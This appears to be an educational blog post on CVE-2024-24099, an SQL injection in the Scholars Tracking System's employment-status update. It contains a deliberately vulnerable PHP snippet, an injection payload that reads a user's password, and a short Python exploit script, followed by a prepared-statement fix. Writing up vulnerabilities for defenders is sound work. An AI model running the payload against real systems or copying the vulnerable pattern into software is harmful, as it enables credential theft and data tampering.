If you’re in academia, you might know about Code-Projects Scholars Tracking System 1., a PHP-MySQL web app designed for tracking student and faculty info. Recently, the community discovered a serious flaw in its codebase: CVE-2024-24099, an SQL Injection vulnerability that could let attackers wreak havoc—changing data, dumping tables, or even owning your box.

What is SQL Injection and Why Does It Matter?

SQL Injection, or SQLi, is one of the oldest and most dangerous web app vulnerabilities. It lets attackers send malicious SQL queries via input fields, screwing with your database in ways the app never intended.

In the context of the Scholars Tracking System, this breaks the trust you have in the app: attackers could read, change, or delete employment status info for scholars or staff.

Where’s the Bug?

The bug was found on the Employment Status Information Update functionality.

Let’s pretend you’re an admin, updating the employment status of a scholar via the web UI. Behind the scenes, the PHP script receives your input (like a job title, department, or status) and updates the database using a SQL query. But it doesn't sanitize your input properly.

Here’s a simple, real-world vulnerable code snippet (approximation)

<?php
// employment_update.php

include('db_connect.php');
$id = $_POST['id'];
$employment = $_POST['employment_status'];

$sql = "UPDATE scholars SET employment_status = '$employment' WHERE id = '$id'";
$result = mysqli_query($conn, $sql);

if($result){
    echo "Updated!";
}else{
    echo "Failed!";
}
?>

If you notice, user inputs $employment and $id are directly put into the SQL statement. No escaping, no prepared statements, just raw user data!

Exploit Details: How an Attacker Could Use This

Let’s say you want to get a dump of all user passwords (assuming they're stored in a table called users). You craft a malicious payload in the employment status field:

Injected input for Employment_Status:
employed', employment_status=(SELECT password FROM users WHERE id=1)-- -

So, your POST request sends

id=2
employment_status=employed', employment_status=(SELECT password FROM users WHERE id=1)-- -

The resulting SQL query

UPDATE scholars 
SET employment_status = 'employed', employment_status=(SELECT password FROM users WHERE id=1) -- -' 
WHERE id = '2'

Here, the double dash -- - makes the rest of the statement a comment, breaking out of the intended logic. This trick is classic SQL injection. An advanced attacker could leverage this further to read or manipulate arbitrary data.

Here’s a quick exploit using Python and requests

import requests

url = 'http://example.com/employment_update.php';
data = {
    'id': '2',
    'employment_status': "Employed', employment_status=(SELECT password FROM users WHERE id=1)-- -"
}

r = requests.post(url, data=data)
print(r.text)

Disclaimer: Use for educational purposes and only on your own systems!

Here’s how you should always handle user input in SQL queries

1. Use Prepared Statements

2. Validate & Sanitize Input

// Secure employment_update.php

include('db_connect.php');
$id = intval($_POST['id']);
$employment = $_POST['employment_status'];

$stmt = $conn->prepare("UPDATE scholars SET employment_status = ? WHERE id = ?");
$stmt->bind_param("si", $employment, $id);

if($stmt->execute()){
    echo "Updated securely!";
}else{
    echo "Failed!";
}
?>

Original Vulnerability Report:

NVD Detail - CVE-2024-24099

Platform Source Code:

Scholars Tracking System 1. - code-projects.org

OWASP Cheat Sheet: SQL Injection Prevention:

OWASP SQL Injection Prevention Cheat Sheet

General SQL Injection Tutorial:

PortSwigger - SQL injection

Conclusion

CVE-2024-24099 in the Scholars Tracking System 1. is a real threat to any institution using the platform. If you’re running this software, PATCH IT IMMEDIATELY. Never trust user input and always use prepared statements.

Understanding flaws like this makes you a better coder and defender. Don’t let attackers score an A+ at your expense.


*Use vulnerability knowledge responsibly. This post is for educational awareness only.*

Timeline

Published on: 02/27/2024 02:15:06 UTC
Last modified on: 11/07/2024 00:35:00 UTC